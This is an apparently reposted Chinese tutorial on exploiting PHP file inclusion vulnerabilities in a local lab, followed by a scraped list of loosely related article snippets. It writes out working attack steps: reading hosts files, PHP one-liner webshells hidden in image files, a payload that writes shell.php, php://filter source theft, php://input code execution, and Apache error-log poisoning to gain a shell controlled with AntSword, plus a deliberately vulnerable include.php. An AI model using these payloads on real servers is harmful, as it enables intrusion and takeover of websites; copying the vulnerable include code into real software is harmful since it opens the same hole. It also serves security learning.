【文件包含漏洞-03】文件包含漏洞的利用及如何利用本地文件包含漏洞GetShell

article/2025/10/9 19:27:38

文件包含漏洞的利用

读取敏感文件

我们可以利用文件包含漏洞读取任意文件,读取文件的时候有利用条件

  • 目标主机文件存在(目标文件的路径、绝对路径、相对路径)

  • 具有文件可读权限

  1. 提交参数http://localhost/include/include.php?path=C:\windows\system32\drivers\etc\hosts,读取本地host文件

  1. 提交参数http://localhost/include/include.php?path=http://www.cac.gov.cn/2021-01/22/c_1612887880656609.htm,读取远程文件,加载远程服务器上的文件

直接包含图片木马

可以利用文件包含漏洞直接包含图片木马

  1. 在include文件夹下新建wx.jpg图片文件

  1. 点击文件右键选择属性,点击版型信息,选择版权,输入一句话木马

<?php @eval($_REQUEST[123]);?>
  1. 打开浏览器输入http://localhost/include/include.php?path=./wx.jpg,进行访问

  1. 继续输入?path=./wx.jpg&123=print(md5(123456));,我们发现一句话木马能够输出md5值

  1. 复制URL通过包含的方式连接中国蚁剑。打开蚁剑,右键添加数据,如下图所示,测试连接成功

包含木马写shell

我们也可以将如下代码写入到图片中,<?php fputs(fopen('shell.php','w'),"<?php @eval(\$_REQUEST['cmd'])?>");?>该段代码的含义是,在当前目录下创建一个名为[shell.php]的文件,内容为[<?php phpinfo();?>],当我们直接包含图片的时候,这段代码就会被执行。

  1. 在include目录下,复制wx.jpg,重命名为wx_fputs.jpg,通过notepad++打开该文件,随便一行插入代码<?php fputs(fopen('shell.php','w'),"<?php @eval(\$_REQUEST['cmd'])?>");?>

  1. 之后打开浏览器正常访问http://localhost/include/wx_fputs.jpg,页面显示如下

  1. 继续输入http://localhost/include/include.php?path=./wx_fputs.jpg,页面显示如下

  1. 随即发现在include文件夹中有个新建文件shell.php,即可用蚁剑连接

PHP封装协议--访问本地文件

我们可以使用php的file协议访问本地系统文件,输入访问http://localhost/include/include.php?path=file://C:\windows\system32\drivers\etc\hosts

tips:我们发现file协议与读取敏感文件中的读取本地host文件的方式是一样的,只是在前面加了file://

PHP封装协议--传输PHP文件

我们可以使用以下参数来传送任意PHP文件(也就是利用文件包含漏洞来传输php文件)。

  1. 访问http://localhost/include/include.php?path=php://filter/read=convert.base64-encode/resource=info.php,发现info.php文件被转换为base64编码了

  1. 打开burp点击decoder模块进行转码(tips:可以通过这种方法获取网站源代码)

PHP封装协议--执行PHP命令

我们还可以利用PHP的封装协议来执行PHP命令

  1. 打开burp,点击repeater模块

  1. 直接输入参数?path=php://input,在后面直接写上<?php phpinfo();?>,点击send(tips:我们发现可以执行任意的php代码)

注意:远程文件包含默认情况下都是关闭的,传输php文件和执行php命令这两种方法有两种用途:

  1. 是用来打cdf的

  1. 是持久控制的php后门

那么已知一个网站存在本地文件包含漏洞,并且没有上传文件API,如何利用呢?

经典面试题

包含日志文件getshell

实验背景

在上文提到过:已知一个网站且仅存在本地文件包含漏洞,并且没有上传文件API,如何利用呢?

实验目的

利用本地文件包含漏洞GetShell

实验前准备

  1. 查看php版本,修改其配置,找到php-5.4.45版本对应文件夹,将文件php.ini中的allow_url_include参数设置为On,修改后记得保存并重启服务器。

  1. 在该网站根目录下,新建文件FileInclusion,在此文件夹中新建文件include.php,文件内容为

<?php
$path = $_GET['path'];
echo "<h1>This is include.php!</h1>";
include $path;
?>

实验步骤

由于没有存在文件上传点,而我们又需要服务器本地有个文件存在一句话木马代码,这时候我们想到,日志文件记录报错的方法,就是从日志文件中“写入”一句话木马,然后再利用文件包含来执行日志文件中的一句话木马。具体步骤如下:

  1. 将访问include.php页面的URL链接http://127.0.0.1/FileInclusion/include.php复制,在BurpSuite的repeater模块中右键选择Paste URL as request以URL形式添加请求,点击发送,可以看到成功接收到响应,只是因为没有传递给path变量,所以提示出错。

  1. 在请求行中,将文件路径修改请求为一句话代码<?php @eval($_REQUEST['cmd']);?>,点击send,可以看到响应报错

  1. 服务器在请求报错后,在错误日志中就会增加一条响应记录。我们打开Apache的错误日志,路径为D:\phpStudy\PHPTutorial\Apache\logs\error.log,可以看到新增了一个错误信息,并且该代码没有被引号所包括,能够被文件包含无条件执行

  1. 打开中国蚁剑连接。打开中国蚁剑→添加数据→填写URL地址和连接密码,其中URL地址http://127.0.0.1/FileInclusion/include.php?path=D:\phpStudy\PHPTutorial\Apache\logs\error.log,密码为cmd,点击添加。

  1. 添加在软件主界面可以看到新添加的内容,双击即可管理服务器

tips:

  1. 利用一切可能让服务器本地某个文件中含有一句话木马

  1. 第二步文件包含之让代码执行

  1. 如果网站存在远程文件包含漏洞,攻击者在服务器2号上写一个一句话木马文件,利用网站远程文件包含该文件,并不能Get网站Shell。后续应更加深入理解一句话木马的控制原理,以判断为什么无法实现,初步认为shell代码是在服务器2号上执行的。

扩展:

  • 包含session文件,造成sessionId泄露

  • metinfo5.0.4文件包含漏洞代码审计


http://chatgpt.dhexx.cn/article/59uXLjyO.shtml

相关文章

渗透测试-文件包含漏洞

文件包含漏洞 文章目录 文件包含漏洞前言一、什么是文件包含漏洞二、文件包含漏洞获取shell1.文件包含漏洞的分类2.利用漏洞获取shell 总结 前言 一、什么是文件包含漏洞 服务器通过php的特性&#xff08;函数&#xff09;去包含任意文件时&#xff0c;由于要包含的这个文件来…

Fvuln-自动化web漏洞检测工具

F-vuln介绍: F-vuln&#xff08;全称&#xff1a;Find-Vulnerability&#xff09;是为了自己工作方便专门编写的一款自动化工具&#xff0c;主要适用于日常安全服务、渗透测试人员和RedTeam红队人员&#xff0c;它集合的功能包括&#xff1a;存活IP探测、开放端口探测、web服务…

Log4j2 漏洞检测工具清单

距离Log4j2漏洞公开已经过去一个月了,它所造成的严重影响已经不需要我们重复提及了。随着时间的推移,新的漏洞会不断出现,旧的漏洞会不断消失,而这个Log4j2中的RCE漏洞可能需要好几年的时间才能得到解决。所以,在接下来的一段时间里,这个漏洞依然是我们需要去关注的重点。…

文件包含漏洞——配合日志文件

此实验中用的是phpstudy2018 靶机IP地址&#xff1a;192.168.212.131 一、前提条件 phpstudy中日志功能默认关闭&#xff0c;得手动修改配置文件开启apache日志功能 重启phpstudy&#xff0c;访问日志文件存在 二、文件包含漏洞测试 第一步&#xff1a;输入<?php php…

【文件包含漏洞】

目录 一、前言 二、文件包含漏洞原理 三、利用条件 四、文件包含漏洞利用 实验一&#xff1a;本地包含和远程包含 实验二&#xff1a;利用文件包含漏洞读取Windows系统敏感信息 实验三&#xff1a;本地包含配合文件上传木马图片 实验四&#xff1a;包含apache日志文…

开源组件漏洞检查工具实践分析

文章目录 Murphysec开源组件漏洞检查工具介绍检测原理JetBrains IDE插件MurphySec Code Scan工具使用介绍支持功能插件安装插件配置一键扫描一键修复功能实践测试命令行工具CLI MurphySec功能特性整理MurphySec Code Scan工具集成JenkinsGitLab 代码库检测工具每周报告推送情报…

文件包含漏洞

【文件包含】文件包含漏洞知识总结 一、什么是文件包含漏洞&#xff1f; 1、文件包含概述 和SQL注入等攻击方式一样&#xff0c;文件包含漏洞也是一种“注入型漏洞”&#xff0c;其本质就是输入一段用户能够控制的脚本或者代码&#xff0c;并让服务器端执行。 什么叫包含呢…

Vector关于Apache Log4Shell CVE-2021-45105,CVE-2021-45046,CVE-2021-44228 的安全漏洞配合与修复全面详解

Apache Log4j2 是一个基于 Java 的日志记录开源组件。近日&#xff0c;Log4j2 被爆出现安全漏洞&#xff0c;攻击者可以通过向易受攻击的服务器或应用程序发送操纵请求来利用安全漏洞。Vector 德国PREEvison产品团队已经通过官网和客户管理系统及时通知客户&#xff0c;有关PRE…

Linux内核漏洞精准检测如何做?SCA工具不能只在软件层面

摘要&#xff1a;二进制SCA工具要想更好的辅助安全人员实现安全审计、降低漏洞检测的误报率&#xff0c;必须向更细颗粒度的检测维度发展&#xff0c;而不仅仅停留在开源软件的层面&#xff0c;同时对漏洞库的要求也需要向细颗粒度的精准信息提出的挑战。 本文分享自华为云社区…

kali linux渗透测试之漏洞扫描

主题内容就是进行漏洞扫描 文章目录 前言一、Nikto1.Nikto漏洞扫描介绍2.Nikto使用 二、Nessus1.Nessus介绍2.安装nessus3.nessus的简单使用3.nessus扫描之advanced scan 三、 skipfish扫描工具1.介绍2.skipfish的使用3.批量处理4.使用字典5.命令选项6.打开文件 四、 AWVS漏洞扫…

【CVE-2022-0185】Linux kernel [文件系统挂载API] 堆溢出漏洞分析与利用

0x00.一切开始之前 CVE-2022-0185 是 2022 年初爆出来的一个位于 filesystem context 系统中的 fsconfig 系统调用中的一个堆溢出漏洞&#xff0c;对于有着 CAP_SYS_ADMIN 权限&#xff08;或是开启了 unprivileged namespace&#xff09;的攻击者而言其可以利用该漏洞完成本地…

Spring 新版本修复远程命令执行漏洞(CVE-2022-22965),墨菲安全开源工具可应急排查

漏洞简述 3月31日&#xff0c;spring 官方通报了 Spring 相关框架存在远程代码执行漏洞&#xff0c;并在 5.3.18 和 5.2.20.RELEASE 中修复了该漏洞。 漏洞评级&#xff1a;严重 影响组件&#xff1a;org.springframework:spring-beans 影响版本&#xff1a;< 5.3.18 和…

❤️❤️爆肝3万字整理小白入门与提升分布式版本管理软件:Git,图文并茂(建议收藏)❤️❤️

小白快速快入门Git 什么是GitSVN VS Git什么是版本控制安装Git谁在操作&#xff1f;Git本地仓库本地仓库构造重点 Git常用基本操作git addgit commitgit diffgit loggit resetgit mvcheckoutgit tagclear Github使用教程什么是Github安装Github添加远程仓库找到key打开Github官…

代码版本管理软件评比

转载的&#xff0c;回头在翻译一下 If you spend time talking to software developers about tools, one of the biggest topics I hear about are version control tools. Once youve got to the point of using version control tools, and any competent developers does,…

Git(代码版本管理软件、工具 详细)

Git 使用步骤 在创建的文件夹里面 。。。 &#xff08;不要用中文名字&#xff09;右键Git Bash Here 小黑框在小黑框里写&#xff1a;git init (意思是初始化一个仓库)&#xff0c;//一个项目一次就可以 会出现一个隐藏的.git文件夹&#xff0c;不要动在里面敲代码就可以了 小…

Git版本管理软件使用

Git是目前世界上最先进的分布式版本控制系统&#xff0c;下面介绍如何使用Git管理项目。 一、下载Window Git工具 https://pan.baidu.com/s/1EF_KybTb32VACzXniFBDdw 下载安装 设置Window环境变量path&#xff0c;包括Git的bin目录 启动CMD窗口&#xff0c;输入git,出现如…

cad图纸版本号管理软件-彩虹EDM图纸管理软件

cad图纸版本号管理软件-彩虹EDM图纸管理软件-由南宁市二零二五科技有限公司 自主研发。 通过安装对应软件接口&#xff0c;彩虹EDM能够与CAD/EDA软件集成通讯&#xff1b;可以读取CAD/EDA图纸信息创建装配关系&#xff0c;在这些软件提供在线菜单&#xff0c;在编辑文件的时候…

03-代码版本管理软件推荐

http://www.gitkraken.com/ GitKraken也同时支持其他的代码托管服务&#xff0c;&#xff08;非GitHub仅有&#xff09;&#xff0c;但是确实并不是所有功能都是完全免费的&#xff08;大家可以搜索GitCracken&#xff0c;但还是希望大家支持正版&#xff09;&#xff1b; 另外…

版本管理软件--Git的安装、配置并使用

版本管理软件分类 集中式&#xff0c;典型代表 SVN 分布式&#xff0c;典型代表 Git 安装 安装git&#xff0c;一直 下一步 安装即可&#xff0c;如果不想安装到C盘&#xff0c;可以把C换成D不要安装到含有中文的路径中。安装完毕&#xff0c;不可以剪切&#xff08;移动&a…

R、冗余分析(RDA)、ggplot2、置信椭圆

R、冗余分析&#xff08;RDA&#xff09;、ggplot2、置信椭圆 在生态环境领域中&#xff08;实际中&#xff0c;其他专业也用到&#xff09;&#xff0c;冗余分析&#xff08;RDA&#xff09;是我们常用的分析方法&#xff0c;分析目的为“解释变量”对“响应变量”的影响情况。…